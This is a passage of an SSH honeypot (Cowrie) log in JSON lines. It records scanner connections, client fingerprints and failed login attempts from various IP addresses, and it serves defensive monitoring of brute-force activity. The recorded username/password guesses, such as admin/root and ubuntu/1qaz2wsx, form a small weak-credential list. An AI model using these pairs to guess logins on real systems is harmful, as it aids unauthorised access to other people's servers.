af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:01.323519Z","src_ip":"15.204.225.76","session":"e7120b91e332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:01.405897Z","src_ip":"15.204.225.76","session":"e7120b91e332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:02.421500Z","src_ip":"15.204.225.76","session":"e7120b91e332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51912,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf0c6e4c126","protocol":"ssh","message":"New connection: 193.32.162.151:51912 (159.203.135.109:22) [session: 0bf0c6e4c126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:10.490363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:10.495340Z","src_ip":"193.32.162.151","session":"0bf0c6e4c126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:10.601255Z","src_ip":"193.32.162.151","session":"0bf0c6e4c126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:10.927673Z","src_ip":"193.32.162.151","session":"0bf0c6e4c126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:12.032336Z","src_ip":"193.32.162.151","session":"0bf0c6e4c126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":35980,"dst_ip":"159.203.135.109","dst_port":22,"session":"893d37c48ea5","protocol":"ssh","message":"New connection: 43.173.90.78:35980 (159.203.135.109:22) [session: 893d37c48ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:34.070262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:34.073684Z","src_ip":"43.173.90.78","session":"893d37c48ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:34.140306Z","src_ip":"43.173.90.78","session":"893d37c48ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234!@#$","message":"login attempt [root/abcd1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:34.440778Z","src_ip":"43.173.90.78","session":"893d37c48ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:35.511588Z","src_ip":"43.173.90.78","session":"893d37c48ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":33776,"dst_ip":"10.17.0.5","dst_port":22,"session":"a08544e7e5cd","protocol":"ssh","message":"New connection: 15.204.225.76:33776 (10.17.0.5:22) [session: a08544e7e5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:36.607452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:36.611531Z","src_ip":"15.204.225.76","session":"a08544e7e5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:36.622098Z","src_ip":"15.204.225.76","session":"a08544e7e5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:36.699410Z","src_ip":"15.204.225.76","session":"a08544e7e5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.127.55","src_port":49218,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed0dec5eeaf","protocol":"ssh","message":"New connection: 89.223.127.55:49218 (159.203.135.109:22) [session: bed0dec5eeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:37.568430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:37.571531Z","src_ip":"89.223.127.55","session":"bed0dec5eeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:37.688495Z","src_ip":"89.223.127.55","session":"bed0dec5eeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:37.711780Z","src_ip":"15.204.225.76","session":"a08544e7e5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:38.049655Z","src_ip":"89.223.127.55","session":"bed0dec5eeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:39.170254Z","src_ip":"89.223.127.55","session":"bed0dec5eeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":33712,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7ffeb370e8e","protocol":"ssh","message":"New connection: 40.117.97.0:33712 (10.17.0.5:22) [session: c7ffeb370e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:41.481361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:41.501126Z","src_ip":"40.117.97.0","session":"c7ffeb370e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:41.512056Z","src_ip":"40.117.97.0","session":"c7ffeb370e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"group4","message":"login attempt [root/group4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:41.593419Z","src_ip":"40.117.97.0","session":"c7ffeb370e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:42.649231Z","src_ip":"40.117.97.0","session":"c7ffeb370e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":56818,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0402fb86ce","protocol":"ssh","message":"New connection: 3.129.187.38:56818 (159.203.135.109:22) [session: cf0402fb86ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:48.414455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:48.526453Z","src_ip":"3.129.187.38","session":"cf0402fb86ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:48.530054Z","src_ip":"3.129.187.38","session":"cf0402fb86ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":10124,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d24bc939d80","protocol":"ssh","message":"New connection: 182.253.79.194:10124 (10.17.0.5:22) [session: 8d24bc939d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:51.734893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:51.738852Z","src_ip":"182.253.79.194","session":"8d24bc939d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:51.996744Z","src_ip":"182.253.79.194","session":"8d24bc939d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Test123","message":"login attempt [user/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:53.062537Z","src_ip":"182.253.79.194","session":"8d24bc939d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:54.322500Z","src_ip":"182.253.79.194","session":"8d24bc939d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":34928,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ab65ba9a0cd","protocol":"ssh","message":"New connection: 150.109.20.59:34928 (10.17.0.5:22) [session: 1ab65ba9a0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:59.176457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:59.181053Z","src_ip":"150.109.20.59","session":"1ab65ba9a0cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:59.411077Z","src_ip":"150.109.20.59","session":"1ab65ba9a0cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:59.502727Z","src_ip":"3.129.187.38","session":"cf0402fb86ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Test123","message":"login attempt [user/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:00.361681Z","src_ip":"150.109.20.59","session":"1ab65ba9a0cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":52278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e0e22506f3d","protocol":"ssh","message":"New connection: 115.91.48.142:52278 (10.17.0.5:22) [session: 2e0e22506f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:00.897177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:00.901951Z","src_ip":"115.91.48.142","session":"2e0e22506f3d","protocol":"ssh"}
